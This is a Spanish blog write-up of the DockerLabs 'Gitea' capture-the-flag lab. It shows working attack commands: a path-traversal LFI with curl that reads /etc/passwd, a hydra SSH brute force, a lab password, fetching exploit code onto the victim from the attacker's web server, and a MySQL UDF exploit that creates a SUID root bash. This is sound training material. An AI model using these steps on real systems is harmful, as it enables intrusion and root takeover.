Post

Gitea, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Autor Tecnicas Herramientas
Dise0    
  scan de puertos nmap
  fuzzing web feroxbuster
  local file inclusion curl

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX gitea 172.18.0.2

reporte

Como vemos en el reporte en esta ocasion tenemos varios puertos abiertos el el 22 ssh, el 80 apache y el 3000 flask

Vamos a empezar revisando bien las webs y anotando todo lo que sea de interes.

En la de apache no aparece nada interesante de hecho creo que no modificaron nada , en la web del 3000 nos encontramos con lo que parece un servicio de git , asi que lo revisamos en profundidad.

git

Revisando las webs nos encontramos con los repos en los cuales hay varias cosas que podrian ser utiles.

Para empezar encontramos un password de mysql pese a no tener el puerto expuesto pero podria resultar util mas tarde.

rootmysql

Fichero app.py

Vemos varias cosas la primera una clave que tampoco se si sera de utilidad

key

La segunda una subida de archivos sin validar lo que si hallaramos la forma de subir un fichero malicioso nos daria un rce por ejemplo.

subida

Y la tercera una ruta download tambien sin validar la cual podria servirnos un fichero del sistema LFI

descarga

lfinotfound

Fichero gitea_composed.xml

Encontramos unas rutas las cuales pueden sernos utiles pues tenemos un lfi

rutasydb

No puedo acceder al lfi , algo ocurre , al seguir navegando por la web me encuentro lo siguiente en la seccion registro, lo cual creo que puede ser un error dado que no deberian aparecer todos los subdominios.

registrosubdomains

Debemos añadir todos los subdominios dentro de /etc/hosts

etchosts

Al añadir los subdominios al hosts y acceder a gitea.dl puedo ver un login con password difuminada.

giteadl

LLegado a este punto y para seguir eneumerando vamos con fuzzing de directorios y archivos.

gitea.dl

fuzzgitea

Nada interesante ni util

dev.gitea.dl

devgiteadl

Aqui encuentro la ruta search que se asemeja a una barra de busqueda pero no hace nada solo muestra un nombre de otro subdominio como vimos en el error mas arriba.

secretdir

Despues de volver a hacer fuzzing sobre el otro subdominio encuentro otro login pero esta vez no me muestra el error de los subdominios, estoy casi seguro que no tendria que poder acceder al 172.17.0.2:3000 y ver los subdominoios

sinerror

Ahora probamos de nuevo el lfi.

1
curl "http://gitea.dl/download?filename=../../../../../etc/passwd

El lfi solo funciona a taves del dominio principal

Ahora con el passwd y los passwords que hemos obtenido de los diferente lugares pasamos a tratar de conectarnos por ssh al ser dos o tres passwords pruebo manualmente. dado que solo veo un user y las passwords son tres.

Ninguna de esas sirve.

Comprobemos las dos rutas que aparecen en el fichero gitea_composed_xml a ver si podemos acceder con el lfi.

Nos indica la ruta claramente pero yo no la lei bien al principio.

passwords

Vemos que es una lista con posibles contraseñas las filtramos y hacemos fuerza bruta.

1
awk '{print $1}' salida.txt | awk -F: '{print $2}'

De esta forma nos quedamos solo passwords.

Momento de lanzar hydra a ver si hay suerte ahora.

hydra

Nos devuelve un password y estamos dentro. Con los comandos tipicos y sencillos no encotramos nada ni sudo ni fin , pero sabemos que hay un mysql corriendo en local porque en un fuichero habian passwords.

Lanzo linpeas y nos muestra que hay un mysq corriendo como root.

Vamos a tratar de conectar con mysql. Si tratamos de acceder con designer y designer123 no hay suerte , luego probe con la de la web que aparecia difuminada y con esa conseguimos entrar.

admin:PassAdmin123-

La verdad estoy mas que atascado y no queda otra consultar el writeup del creador de la maquina , desconoizco totalmente por donde seguir

writeup

Nos habla de una escalada llamada UDF (primera vez que lo oigo a leer).

Aqui algo de documentacion acerca del error

udf

masudf

Empezamos descragando el exploit

1
searchsploit -m 1518.c

Lo trasladamos a la maquina victima

1
2
python3 -m http.server 8000
curl -L http://192.168.0.106:8000/1518.c > 1518.c

Seguimos los pasos que indican en la poc para compilarlo.

1
2
 gcc -g -c 1518.c
 gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc

Si me explico mal corrijanme , lo que hace este exploit es crear un objeto compartido el cual posteriormente llamaramos desde mysql para adquirir los privilegios del usuario que este ejecuntando mysql en nuestro caso root.

Lo primero una vez creado el *.so lo movemos a la carpeta pluggins de mysql y nos logueamos en mysql, una vez logueados cambiamos de bbdd a mysql y creamos la funcion que luego llamaremos para poder ejecutar comandos desde dentro de mysql unas vez creada la seleccionamos

1
2
3
4
5
cp /tmp/raptor_udf2.so /usr/lib/mysql/plugin
mysql -u admin -p
USE mysql;
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;

udf

Hata aqui todo parece funcionar , ahora comprobaremos que ejecutamos como root.

1
2
select do_system('whoami > /tmp/whoami.txt');
select do_system('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');

ejecutando

Como vemos nos ha creado el fichero y la bash con suid activado lo que nos da acceso a medias pero ya somo root

root

A partir de aqui podriamos tratar de escapar de estos permisos limitados de varias formas. queda para mas adelante aunque recuerdo que en algun otro ctf escapabamos de ahi.

P.D: Increible maquina la enumeracion es la ostia muy buena , la encontre bastante real y la escalada jamas la hubiese encontrado sin darle una mirada al nombre del ataque que usamos en esa maquina.

Genio el creador

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.